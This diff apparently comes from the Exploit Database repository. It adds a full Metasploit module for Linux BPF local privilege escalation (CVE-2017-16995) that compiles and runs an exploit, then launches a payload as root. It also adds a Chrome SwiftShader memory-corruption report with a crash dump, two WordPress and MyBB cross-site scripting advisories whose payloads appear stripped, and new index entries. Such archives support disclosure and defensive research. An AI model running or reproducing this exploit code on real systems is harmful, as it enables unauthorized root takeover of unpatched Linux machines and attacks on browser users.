diff --git a/exploits/linux/local/45058.rb b/exploits/linux/local/45058.rb new file mode 100755 index 000000000..e0e2955e8 --- /dev/null +++ b/exploits/linux/local/45058.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. + + The target system must be compiled with BPF support and must not have + kernel.unprivileged_bpf_disabled set to 1. + + This module has been tested successfully on: + + Debian 9.0 kernel 4.9.0-3-amd64; + Deepin 15.5 kernel 4.9.0-deepin13-amd64; + ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + Fedora 25 kernel 4.8.6-300.fc25.x86_64; + Fedora 26 kernel 4.11.8-300.fc26.x86_64; + Fedora 27 kernel 4.13.9-300.fc27.x86_64; + Gentoo 2.2 kernel 4.5.2-aufs-r; + Linux Mint 17.3 kernel 4.4.0-89-generic; + Linux Mint 18.0 kernel 4.8.0-58-generic; + Linux Mint 18.3 kernel 4.13.0-16-generic; + Mageia 6 kernel 4.9.35-desktop-1.mga6; + Manjero 16.10 kernel 4.4.28-2-MANJARO; + Solus 3 kernel 4.12.7-11.current; + Ubuntu 14.04.1 kernel 4.4.0-89-generic; + Ubuntu 16.04.2 kernel 4.8.0-45-generic; + Ubuntu 16.04.3 kernel 4.10.0-28-generic; + Ubuntu 17.04 kernel 4.10.0-19-generic; + ZorinOS 12.1 kernel 4.8.0-39-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jann Horn', # Discovery + 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit + 'vnik', # upstream44.c exploit + 'rlarabee', # cve-2017-16995.c exploit + 'h00die', # Metasploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => 'Nov 12 2017', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'get-rekt-linux-hardened.c' ], + [ 'AKA', 'upstream44.c' ], + [ 'BID', '102288' ], + [ 'CVE', '2017-16995' ], + [ 'EDB', '44298' ], + [ 'EDB', '45010' ], + [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], + [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], + [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], + [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], + [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], + [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], + [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], + [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] + ], + 'DefaultTarget' => 0)) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + cmd_exec "chmod +x #{path}" + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + if unprivileged_bpf_disabled? + vprint_error 'Unprivileged BPF loading is not permitted' + return CheckCode::Safe + end + vprint_good 'Unprivileged BPF loading is permitted' + + release = kernel_release + if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || + Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" + + CheckCode::Appears + end + + def exploit + unless check == CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('exploit.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx executable_path, exploit_data('exploit.out') + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit ...' + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " + output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path} ..." + rm_f executable_path + rm_f payload_path + end +end \ No newline at end of file diff --git a/exploits/multiple/dos/45059.txt b/exploits/multiple/dos/45059.txt new file mode 100644 index 000000000..5558c21c7 --- /dev/null +++ b/exploits/multiple/dos/45059.txt @@ -0,0 +1,120 @@ +There's a remotely triggerable memory corruption issue in SwiftShader that's reachable from WebGL, resulting from an integer overflow issue. + +In the GPU process there is validation on the sizes passed to texture creation functions to ensure that they shouldn't cause overflow. However, in the Swiftshader code there is a separate rounding up of render-target sizes to the next even size, which allows bypassing this validation. + +(Note the additional +4, which is also (unexpected by the chrome gpu process) unsafe but in practice shouldn't cause an issue.) + +https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Renderer/Surface.cpp?l=3261 + + void *Surface::allocateBuffer(int width, int height, int depth, int border, int samples, Format format) + { + // Render targets require 2x2 quads + int width2 = (width + 1) & ~1; + int height2 = (height + 1) & ~1; + + // FIXME: Unpacking byte4 to short4 in the sampler currently involves reading 8 bytes, + // and stencil operations also read 8 bytes per four 8-bit stencil values, + // so we have to allocate 4 extra bytes to avoid buffer overruns. + return allocate(size(width2, height2, depth, border, samples, format) + 4); + } + +Size calculation takes place here: + +https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Renderer/Surface.cpp?l=2646 + +unsigned int Surface::size(int width, int height, int depth, int border, int samples, Format format) + { + width += 2 * border; + height += 2 * border; + + // Dimensions rounded up to multiples of 4, used for compressed formats + int width4 = align(width, 4); + int height4 = align(height, 4); + + switch(format) + { + + // ... snip ... + + default: + return bytes(format) * width * height * depth * samples; + } + } + +The maximum value for bytes(format) is 16, with something like GL_RGBA32F, and samples is 1. + +We can't cause this value to overflow if we have to provide the texture contents, since allocating a sufficiently large Float32Array will be larger than the renderer memory limits, but we can use glTexStorage3D to trigger the overflow. + +We need to meet the following conditions: + +1 <= width <= 0x2000 +1 <= height <= 0x2000 +1 <= depth <= 0x2000 + +16 * width * height * depth <= 0x100000000ull; + +If these conditions are met, and we can also produce values such that: + +16 * ((width + 1) & ~1) * ((height + 1) & ~1) * depth >= 0x100000000ull; + +Then we'll get an integer overflow during size calculation, and end up with a small buffer for a large texture. + +If we use the path glTexSubImage3D to initialize the texture, this will zero out (Chrome's expected size) of the texture (~4gig) in the (260 byte) allocation, which may make exploitation awkward, but especially in a context like the GPU process with multiple threads interacting, it's likely possible to exploit this issue. There may also be alternative paths which avoid the wild memset, but I'm reporting now so that work on a fix can start. + +Note, it is possible for an attacker to force use of the Swiftshader backend for WebGL rendering by simply crashing the GPU process a few times (for a platform dependent value of 'few'). The attached PoC uses 4 domains and cycles between them to trigger 3 (hardware accelerated) GPU process crashes due to OOM (on my workstation, at least) which will then be followed by the (software accelerated) GPU process hitting this bug. Mileage may vary with different GPU drivers/OpenGL implementations. + +Crashes with the PoC will be fairly random - whatever you'd expect for zeroing out your entire heap... + +Thread 1 "chrome" received signal SIGSEGV, Segmentation fault. +0x00007fe697e94551 in egl::Image::loadImageData(egl::Context*, int, int, int, int, int, int, unsigned int, unsigned int, egl::Image::UnpackInfo const&, void const*) () + from src/out/non-asan/swiftshader/libGLESv2.so +(gdb) bt +#0 0x00007fe697e94551 in egl::Image::loadImageData(egl::Context*, int, int, int, int, int, int, unsigned int, unsigned int, egl::Image::UnpackInfo const&, void const*) () + at src/out/non-asan/swiftshader/libGLESv2.so +#1 0x0000000000000000 in () +(gdb) x/10i $pc +=> 0x7fe697e94551 <_ZN3egl5Image13loadImageDataEPNS_7ContextEiiiiiijjRKNS0_10UnpackInfoEPKv+9911>: jmpq *0x28(%rax) + 0x7fe697e94554 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv>: push %rbp + 0x7fe697e94555 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+1>: push %r15 + 0x7fe697e94557 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+3>: push %r14 + 0x7fe697e94559 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+5>: push %r13 + 0x7fe697e9455b <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+7>: push %r12 + 0x7fe697e9455d <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+9>: push %rbx + 0x7fe697e9455e <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+10>: sub $0x48,%rsp + 0x7fe697e94562 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+14>: mov %r8d,0xc(%rsp) + 0x7fe697e94567 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+19>: test %r9d,%r9d +(gdb) i r +rax 0x0 0 +rbx 0x8814 34836 +rcx 0x1 1 +rdx 0x10 16 +rsi 0x30b20f90860 3346332715104 +rdi 0x30b2081f500 3346324911360 +rbp 0x1406 0x1406 +rsp 0x7ffdafd862c8 0x7ffdafd862c8 +r8 0xfffffffffffffff0 -16 +r9 0x1 1 +r10 0x75 117 +r11 0x30b2088ee90 3346325368464 +r12 0xc2 194 +r13 0x2a3 675 +r14 0x8814 34836 +r15 0x0 0 +rip 0x7fe697e94551 0x7fe697e94551 +eflags 0x10202 [ IF RF ] +cs 0x33 51 +ss 0x2b 43 +ds 0x0 0 +es 0x0 0 +fs 0x0 0 +gs 0x0 0 +(gdb) + + +See crash-id d0573792cf03341d for a crash on the current stable branch. + +To test using the attached PoC, either run chrome with --disable-gpu to force software rendering, or create 4 aliases to localhost evil0.com, evil1.com, evil2.com and evil3.com in your /etc/hosts file and run ./server.py and point your browser to evil0.com:. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45059.zip \ No newline at end of file diff --git a/exploits/multiple/dos/45060.html b/exploits/multiple/dos/45060.html new file mode 100644 index 000000000..7f8daa715 --- /dev/null +++ b/exploits/multiple/dos/45060.html @@ -0,0 +1,279 @@ + + + + + + + + + + \ No newline at end of file diff --git a/exploits/multiple/dos/45061.html b/exploits/multiple/dos/45061.html new file mode 100644 index 000000000..72cee5444 --- /dev/null +++ b/exploits/multiple/dos/45061.html @@ -0,0 +1,187 @@ + + + + + + + + + + \ No newline at end of file diff --git a/exploits/php/webapps/45056.txt b/exploits/php/webapps/45056.txt new file mode 100644 index 000000000..ab04af956 --- /dev/null +++ b/exploits/php/webapps/45056.txt @@ -0,0 +1,95 @@ +# Exploit Title: WordPress Plugin All In One Favicon <= 4.6 - Authenticated Multiple XSS Persistent +# Date: 2018-07-10 +# Exploit Author: Javier Olmedo + +# Website: https://hackpuntes.com/ +# Vendor Homepage: http://www.techotronic.de/ +# Software Link: https://wordpress.org/plugins/all-in-one-favicon/ +# Version/s: 4.6 and below +# Patched Version: unpatched +# CVE : 2018-13832 +# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099 + +Plugin description: +All In One Favicon adds favicons to your site and your admin pages. You can either use favicons you already uploaded or use the builtin upload mechanism to upload a favicon to your WordPress installation. + +Description: +WordPress Plugin All In One Favicon before 4.6 allows remote authenticated users to execute javascript code through XSS Persistent attacks. + +Technical details: + +The following parameters are vulnerable: +backendApple-Text +backendICO-Text +backendPNG-Text +backendGIF-Text +frontendApple-Text +frontendICO-Text +frontendPNG-Text +frontendGIF-Text + +Proof of Concept (PoC): +The following POST request will cause it to display an alert in the browser when it runs as an authenticated user with permissions: + +POST /wordpress/wp-admin/admin-post.php HTTP/1.1 +Host: localhost +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://localhost/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php +Content-Type: multipart/form-data; boundary=---------------------------168911549614148 +Content-Length: 3407 +Connection: close +Upgrade-Insecure-Requests: 1 + +-----------------------------168911549614148 +Content-Disposition: form-data; name="_wpnonce" + +9df031414d +-----------------------------168911549614148 +Content-Disposition: form-data; name="_wp_http_referer" + +/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php +-----------------------------168911549614148 +Content-Disposition: form-data; name="option_page" + +aio-favicon_settings +-----------------------------168911549614148 +Content-Disposition: form-data; name="aio-favicon_settings[frontendICO-text]" + +"> +-----------------------------168911549614148 +Content-Disposition: form-data; name="action" + +aioFaviconUpdateSettings +-----------------------------168911549614148 +Content-Disposition: form-data; name="aioFaviconUpdateSettings" + +Guardar cambios +-----------------------------168911549614148 + +Content-Disposition: form-data; name="action" + +aioFaviconUpdateSettings +-----------------------------168911549614148 +Content-Disposition: form-data; name="aio-favicon_settings[removeLinkFromMetaBox]" + +true +-----------------------------168911549614148 +Content-Disposition: form-data; name="action" + +aioFaviconUpdateSettings +-----------------------------168911549614148-- + +Payloads: +"> +"> + +Timeline: +15/03/2018 I send the report. (no answer) +27/05/2018 I send the report, again. (no answer) +10/07/2018 Public disclosure. + +References: +https://hackpuntes.com/cve-2018-13832-wordpress-plugin-all-in-one-favicon-4-6-autenticado-multiples-cross-site-scripting-persistentes/ \ No newline at end of file diff --git a/exploits/php/webapps/45057.txt b/exploits/php/webapps/45057.txt new file mode 100644 index 000000000..8932ba6d5 --- /dev/null +++ b/exploits/php/webapps/45057.txt @@ -0,0 +1,23 @@ +# Exploit Title: MyBB New Threads Plugin - Cross-Site Scripting +# Date: 7/16/2018 +# Author: 0xB9 +# Twitter: @0xB9Sec +# Contact: 0xB9[at]pm.me +# Software Link: https://community.mybb.com/mods.php?action=view&pid=1143 +# Version: 1.1 +# Tested on: Ubuntu 18.04 +# CVE: CVE-2018-14392 + + +1. Description: +New Threads is a plugin that displays new threads on the index page. The thread titles allow XSS. + + +2. Proof of Concept: + +- Create a new thread with the following subject +- Visit the index page to see alert. + + +3. Solution: +Update to 1.2 \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index a112fd7ee..5877ff4e7 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6019,6 +6019,9 @@ id,file,description,date,author,type,platform,port 45017,exploits/windows/dos/45017.html,"G DATA Total Security 25.4.0.3 - Activex Buffer Overflow",2018-07-13,"Filipe Xavier Oliveira",dos,windows, 45032,exploits/multiple/dos/45032.txt,"macOS/iOS - JavaScript Injection Bug in OfficeImporter",2018-07-16,"Google Security Research",dos,multiple, 45033,exploits/linux/dos/45033.c,"Linux (Ubuntu) - Other Users coredumps Can Be Read via setgid Directory and killpriv Bypass",2018-07-16,"Google Security Research",dos,linux, +45059,exploits/multiple/dos/45059.txt,"Google Chrome - Swiftshader Texture Allocation Integer Overflow",2018-07-19,"Google Security Research",dos,multiple, +45060,exploits/multiple/dos/45060.html,"Google Chrome - Swiftshader Blitting Floating-Point Precision Errors",2018-07-19,"Google Security Research",dos,multiple, +45061,exploits/multiple/dos/45061.html,"Google Chrome - SwiftShader OpenGL Texture Bindings Reference Count Leak",2018-07-19,"Google Security Research",dos,multiple, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -9819,6 +9822,7 @@ id,file,description,date,author,type,platform,port 45026,exploits/windows/local/45026.txt,"Microsoft Enterprise Mode Site List Manager - XML External Entity Injection",2018-07-16,hyp3rlinx,local,windows, 45041,exploits/hardware/local/45041.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Restricted Shell Escape",2018-07-17,LiquidWorm,local,hardware, 45048,exploits/multiple/local/45048.js,"JavaScript Core - Arbitrary Code Execution",2018-07-11,ret2,local,multiple, +45058,exploits/linux/local/45058.rb,"Linux - BPF Sign Extension Local Privilege Escalation (Metasploit)",2018-07-19,Metasploit,local,linux, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -39682,4 +39686,6 @@ id,file,description,date,author,type,platform,port 45049,exploits/php/webapps/45049.txt,"Smart SMS & Email Manager 3.3 - 'contact_type_id' SQL Injection",2018-07-18,AkkuS,webapps,php,80 45053,exploits/multiple/webapps/45053.txt,"Open-AudIT Community 2.1.1 - Cross-Site Scripting",2018-07-18,"Ranjeet Jaiswal",webapps,multiple, 45054,exploits/php/webapps/45054.txt,"FTP2FTP 1.0 - Arbitrary File Download",2018-07-18,AkkuS,webapps,php, +45056,exploits/php/webapps/45056.txt,"WordPress Plugin All In One Favicon 4.6 - Cross-Site Scripting",2018-07-19,"Javier Olmedo",webapps,php,80 45055,exploits/php/webapps/45055.py,"Modx Revolution < 2.6.4 - Remote Code Execution",2018-07-18,"Vitalii Rudnykh",webapps,php, +45057,exploits/php/webapps/45057.txt,"MyBB New Threads Plugin 1.1 - Cross-Site Scripting",2018-07-19,0xB9,webapps,php,80